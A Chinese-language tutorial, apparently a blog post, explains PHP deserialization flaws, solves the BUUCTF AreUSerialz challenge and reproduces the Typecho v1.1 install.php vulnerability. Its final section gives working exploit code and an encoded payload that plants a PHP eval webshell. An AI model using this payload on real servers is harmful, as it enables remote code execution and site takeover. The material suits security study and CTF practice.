0x01 原理
1.1 序列化与反序列化
序列化是将一个对象压缩成一个字符串的方法
,可以将对象的状态信息转化为可以存储或传输的形式。
举个栗子:此处代码来源于[1]
<?php
class userInfo
{
private $passwd = 'weak';
protected $sex = 'male';
public $name = 'ama666';
public function modifyPasswd($passwd)
{
$this->passwd = $passwd;
}
public function getPasswd()
{
echo $this->$passwd;
}
}
$ama666 = new userInfo();
$ama666->modifyPasswd('strong');
$data = serialize($ama666);
echo $data;
?>
输出结果为:
O:8:"userInfo":3:{s:16:"userInfopasswd";s:6:"strong";s:6:"*sex";s:4:"male";s:4:"name";s:6:"ama666";} # 含义如下: # ' O:8:"userInfo":3: ' : 该Object名字为字符长度为8的"userInfo",有三个属性 # 大括号内的内容是属性的名字、名字的字符长度、值和其他信息 # 针对不同权限的属性,表示方式也不同:private前添加对象名(userInfo) # protected前添加星号(*) # public没有前缀
因此,一个对象序列化之后,字符中也就只有对象名、对象的属性键值对,并不包含方法
注:private属性在序列化的时候还包含空字节,所以一般要编码操作
反序列化是将序列化后的字符串”解压缩”成对象的过程。
但是,当这个字符串被还原的时候,并不会包含任何方法。因此,反序列化的对象想要使用原先的方法必须依托于域,脱离了原本的域,反序列的对象无法使用之前的方法。
1.2 PHP魔术方法利用
在PHP中,有一些魔术方法,在特定条件下,会自动触发,如果这些函数中不幸(nice)存在一些可利用的函数,就可以进行下一步攻击。16个魔法函数如下:
- _autoload() : 当使用未定义的类时,自动调用该函数(7.2.0版本被弃用)
- __call() : 调用未定义或不可访问的方法时自动调用
- __callStatic() : 调用类的一个不存在的静态方法 ( 不存在或该方法不可访问 ) 时自动调用
- __clone() : PHP 对象的拷贝完成后,自动调用该方法(注意PHP的拷贝是浅拷贝)
- __construct() : 构造函数,此函数会在创建一个类的实例时自动调用
- __debugInfo() : 用于定制对象的
var_dump()
输出结果,调用var_dump()
时自动调用- __destruct() : 对象的所有引用都被删除或者类被销毁的时候自动调用,程序结束也会自动调用析构函数
- __get() : 读取不存在或不可访问的属性值的时候,此魔法函数会自动调用
- __invoke() : 会在将一个对象当作一个方法来使用时会自动调用
- __isset() : 判断属性是否定义时,若属性私有或未定义,则自动调用
- __set() : 给类的实例的不存在的属性或不可访问的属性赋值
- __set_state() : 用
var_export()
输出一个对象时,会自动调用- __sleep() : 进行序列化的时候,先调用此函数,用于定制序列化结果,剔除无需序列化的属性
- __toString() : 对象被当作字符串格式处理时会自动触发,需要此函数中的功能语句将对象转化为字符串,该函数必须要有一个字符串格式的返回值
- __unset() : 销毁私有属性或不存在的属性时会自动调用
- __wakeup() : 进行反序列化的时候,先调用此函数
注:所有魔法函数必须声明为public
1.3 普通成员方法利用
寻找相同的同名方法,将敏感函数和类联系在一起。
<?php
class chybeta {
var $test;
function __construct() {
$this->test = new ph0en1x();
}
function __destruct() {
$this->test->action();
}
}
class ph0en1x {
function action() {
echo "ph0en1x";
}
}
class ph0en2x {
var $test2;
function action() {
eval($this->test2);
}
}
$class6 = new chybeta();
unserialize($_GET['test']);
?>
例如上文中的代码:
析构函数中调用了对象的action()
方法,而ph0en1x
类和ph0en2x
类中均含有action()
方法,所以,若在构造序列化的时候将test
属性设置为ph0en2x
对象,则可以使用ph0en2x
中的eval()
函数执行自定义的PHP
语句。
POC如下:
<?php
class chybeta {
var $test;
function __construct() {
$this->test = new ph0en2x();
}
}
class ph0en2x {
var $test2 = "phpinfo();";
}
echo serialize(new chybeta());
?>
1.4 反序列化字符逃逸
PHP反序列化字符逃逸依靠PHP在反序列化时的几个特性:
对类中不存在的属性也会反序列化
在反序列化时,底层代码是以
;
作为字段的分隔,以}
作为结尾(字符串除外),并且根据长度判断内容例:正常的反序列化可执行
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}
执行
a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";
仍可得到相同结果
所以当碰到PHP对反序列化的字符串进行替换、删除等改变字符长度的操作时,可以构造payload
使得替换后的字符串仍能正常反序列化,并反序列化为自定义的内容
1.5 phar反序列化
phar://
是PHP
解压压缩包的一个函数,不管什么,都会当做压缩包来解压,当使用该伪协议读取phar
文件时,会自动将文件中的meta-data
部分反序列化
在真实情况,需要将构造好的phar
文件上传到目标服务器,然后利用phar
在解压时会反序化meta-data
部分来达到目的
phar
文件生成如下:
<?php
class TestObject {
}
$phar = new Phar('phar.phar');
$phar -> startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //设置stub,增加gif文件头
$phar ->addFromString('test.txt','test'); //添加要压缩的文件
$object = new TestObject();
$object -> data = 'Lmg';
$phar -> setMetadata($object); //将自定义meta-data存入manifest
$phar -> stopBuffering();
?>
注意测试的时候要将php.ini
的phar.readonly
参数设置为off
:
利用条件:
- phar文件要能上传
- 有可利用函数如上图,可魔法函数构造pop链
- 文件函数操作可控,: / phar 等没过被过滤
1.6 SESSION反序列化
session
用于跟踪用户的行为,保存用户的信息和状态等等。服务器创建一个sessionid
命名的文件,用于保存这个用户的会话信息。
当会话开始或通过session_start()
开始时,php
内部会通过传来的sessionid
来读取文件,php
会自动序列化session
文件内容,并将其填充到超全局变量$_SESSION
中。如果不存在对应的会话数据,则创建一个sessionid
的文件。
常见session存储位置:
/var/lib/php5/sess_PHPSESSID
/var/lib/php7/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSED
session的存储机制:
机制 | 存储格式 |
---|---|
php | 键名+竖线+serialize函数序列化处理的值 |
php_binary | 键名长度对应的ASCII字符+键名+serialize函数序列化处理的值 |
php_serialize | serialize函数序列化处理的值 |
例如:
- Lmg|s:3:”123”; ————————-ini_set(‘session.serialize_handler’, ‘php’); php机制
- Lmgs:3:”123”; ————————ini_set(“session.serialize_handler”, “php_binary”); php_binary机制
- a:1:{s:3:”Lmg”;s:3:”123”;} ———–ini_set(“session.serialize_handler”, “php_serialize”); php_serialize机制
产生session反序列的原因就在程序员在读取或者存储中使用了不同的机制
举个栗子:假如存储时使用php_serialize
机制,而读取时使用了php
机制,那么存储时看似正常的竖线则会在读取时变为分隔符
存储的内容:a:1:{s:3:”Lmg”;s:60:”|O:7:”student”:2:{s:4:”name”;s:4:”hack”;s:3:”age”;s:2:”19”;}
读取的内容(竖线前的内容被看作变量名):O:7:”student”:2:{s:4:”name”;s:4:”hack”;s:3:”age”;s:2:”19”;}
没有$_SESSION赋值的session反序列化:
在php
中存在一个upload_process
机制,可以自动创建$_SESSION
一个键值对,而且其中的值用户可以控制,文件上传时应用可以发送一个POST请求到终端来检查这个状态
在上传文件时,post
一个于session.upload_process.name
同名的变量。后端就会自动将post
的这个同名变量作为键,进行序列化然后存储到session
文件中
0x02 BUUCTF-[网鼎杯 2020 青龙组]AreUSerialz
2.1 源码分析
<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
简单分析该题后,发现需要GET
传递str
参数,在该参数符合is_valid()
函数校验后,对str
反序列化。
function is_valid($s) { for($i = 0; $i < strlen($s); $i++) if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) return false; return true; }
那么
str
需要符合什么请求呢?在is_valid()
函数校验中,要求str
中的所有字符ASCII码需要在32到125之间
接下来就是构造str
并利用,在本题中有两个魔术方法存在:构造函数__construct()
和析构函数__destruct()
:
function __construct() { $op = "1"; $filename = "/tmp/tmpfile"; $content = "Hello World!"; $this->process(); } function __destruct() { if($this->op === "2") $this->op = "1"; $this->content = ""; $this->process(); }
在此,可以利用析构函数,在
__destruct()
中,会判断对象的op
属性是否等于”2”(PHP中的强类型判断,会判断变量的type
是否也相同),并且进入process()
中
再查看process()
函数:
public function process() { if($this->op == "1") { $this->write(); } else if($this->op == "2") { $res = $this->read(); $this->output($res); } else { $this->output("Bad Hacker!"); } }
在该函数中,判断
op
属性是否等于”2”(弱类型判断,并不会判断变量type
是否相同),若等于,则用read()
函数读取文件名为filename
属性值的文件并输出
2.2 POC
通过上面分析,整个利用过程就清晰了:
构造字符串str
绕过is_valid()
函数的判断,然后设置op
属性值绕过__destruct()
中对”2”强类型判断,将filename
设置为想要读取的文件名
POC1:PHP7.1+ 版本对属性类型不敏感,本地序列化的时候将属性改为 public
可进行绕过
<?php
class FileHandler{
public $op = 2;
public $filename = "flag.php";
public $content = "hello!";
}
$poc1 = new FileHandler;
echo serialize($poc1);
//str为: O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";s:6:"hello!";}
?>
POC2:使用16进制的\00替换空字节,采用大写的S以支持16进制的\00(好像说空格替换空字节也可以,但我没有成功)
<?php
class FileHandler{
protected $op = 2;
protected $filename = "flag.php";
protected $content = "hello!";
}
$data = new FileHandler;
$poc2 = serialize($data);
$poc2 = str_replace(chr(00),'\00',$poc2);//由于protected属性序列化后包含空字节,将其替换为可见的"\00"
$poc2 = str_replace('s','S',$poc2);
echo $poc2;
//str为: O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:6:"hello!";}
?>
最后获得flag:
0x03 Typecho反序列化漏洞复现
3.1 漏洞简介
Typecho在程序安装后不会删除install.php
,在该页面中存在反序列化漏洞
程序版本:v1.1-15.5.12-beta
3.2 源码分析
在install.php
的第230行中,找到反序列化相关内容:将get到的__typecho_config
进行base64解码后,再反序列化,将反序列化的结果放入了Typecho_Db
类中
<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>
查看Typecho_Cookie的get()
函数:从cookie
或者POST
参数中获取值,因此,可控的输入源可以从此出发
public static function get($key, $default = NULL)
{
$key = self::$_prefix . $key;
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
return is_array($value) ? $default : $value;
}
查看Typecho_Db
类,其中的魔术方法有__construct()
:在变量$adapterName
的拼接中,将该变量作为字符串进行拼接,会触发__toString()
魔术方法
public function __construct($adapterName, $prefix = 'typecho_')
{
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
查找__toString()
魔术方法,发现在\var\Typecho\Feed.php
中:若$item['author']
中不存在screenName
属性,则会触发item的__get()
魔术方法
public function __toString()
{
...
$content .= '<item>' . self::EOL;
$content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
$content .= '<link>' . $item['link'] . '</link>' . self::EOL;
$content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
$content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
...
}
全局搜索魔术方法__get()
后,在\var\Typecho\Request.php
中找到该方法:在该方法中调用了get()
方法,其中给传入的不存在的属性赋值并调用_applyFilter()
方法
public function __get($key)
{
return $this->get($key);
}
public function get($key, $default = NULL)
{
switch (true) {
case isset($this->_params[$key]):
$value = $this->_params[$key];
break;
case isset(self::$_httpParams[$key]):
$value = self::$_httpParams[$key];
break;
default:
$value = $default;
break;
}
$value = !is_array($value) && strlen($value) > 0 ? $value : $default;
return $this->_applyFilter($value);
}
在_applyFilter()
中,将根据$value
是否为数组来调用array_map()
或call_user_func()
函数,而这两个函数便可以执行命令
private function _applyFilter($value)
{
if ($this->_filter) {
foreach ($this->_filter as $filter) {
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
3.3 复现流程
经过上文的分析,整个流程也就清晰了:
- 构造payload绕过并执行反序列化(需要base64编码)
- payload需通过cookie或POST方式传入
- payload中的
Config
属性传入Typecho_Db
中,Typecho_Db
会触发__toString()
魔术方法 - 在
__toString()
魔术方法中再触发__get()
魔术方法 - 最后利用
__get()
魔术方法中的函数调用array_map()
或call_user_func()
函数从而实现命令执行
3.4 payload构造(参考[5])
<?php
class Typecho_Feed{
private $_type = 'ATOM 1.0';
private $_items = array();
public function addItem(array $item){
$this->_items[] = $item;
}
}
class Typecho_Request{
private $_params = array('screenName'=> 'file_put_contents(\'shell.php\', \'<?php @eval($_GET["shell"]);?>\')');
private $_filter = array('assert');
}
$payload1 = new Typecho_Feed();
$payload2 = new Typecho_Request();
$payload1->addItem(array('author' => $payload2));
$exp = array('adapter' => $payload1, 'prefix' => 'typecho_');
echo base64_encode(serialize($exp));
?>
//YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo4OiJBVE9NIDEuMCI7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6MTp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO3M6NjQ6ImZpbGVfcHV0X2NvbnRlbnRzKCdzaGVsbC5waHAnLCAnPD9waHAgQGV2YWwoJF9HRVRbInNoZWxsIl0pOz8+JykiO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NjoiYXNzZXJ0Ijt9fX19fXM6NjoicHJlZml4IjtzOjg6InR5cGVjaG9fIjt9
?>
构造并发送数据包,注意要满足install.php
的要求:有finish
参数和HTTP_REFERER
//判断是否已经安装
if (!isset($_GET['finish']) && file_exists(__TYPECHO_ROOT_DIR__ . '/config.inc.php') && empty($_SESSION['typecho'])) {
exit;
}
if (!empty($_GET) || !empty($_POST)) {
if (empty($_SERVER['HTTP_REFERER'])) {
exit;
}
$parts = parse_url($_SERVER['HTTP_REFERER']);
if (!empty($parts['port'])) {
$parts['host'] = "{$parts['host']}:{$parts['port']}";
}
if (empty($parts['host']) || $_SERVER['HTTP_HOST'] != $parts['host']) {
exit;
}
}
构造请求如下:
shell上传成功:
0x04 参考
[1] [红日安全]Web安全Day15 - 反序列化实战攻防 https://xz.aliyun.com/t/7023
[2] PHP 魔术方法 - 简介 https://www.twle.cn/c/yufei/phpmmethod/phpmmethod-basic-index.html
[3] [BUUCTF-WEB] [网鼎杯 2020 青龙组]AreUSerialz https://juejin.cn/post/6929123441257742350
[4] AreUSerialz-[网鼎杯 2020 青龙组]-[传送门->BUUCTF] https://www.secn.net/article/349246.html
[5] Typecho反序列化漏洞分析 https://lanvnal.com/2020/03/15/typecho-fan-xu-lie-hua-lou-dong-fen-xi/
[6] 浅谈php反序列化漏洞 https://chybeta.github.io/2017/06/17/%E6%B5%85%E8%B0%88php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
[7] php反序列化漏洞 https://www.cnblogs.com/Lmg66/p/13709419.html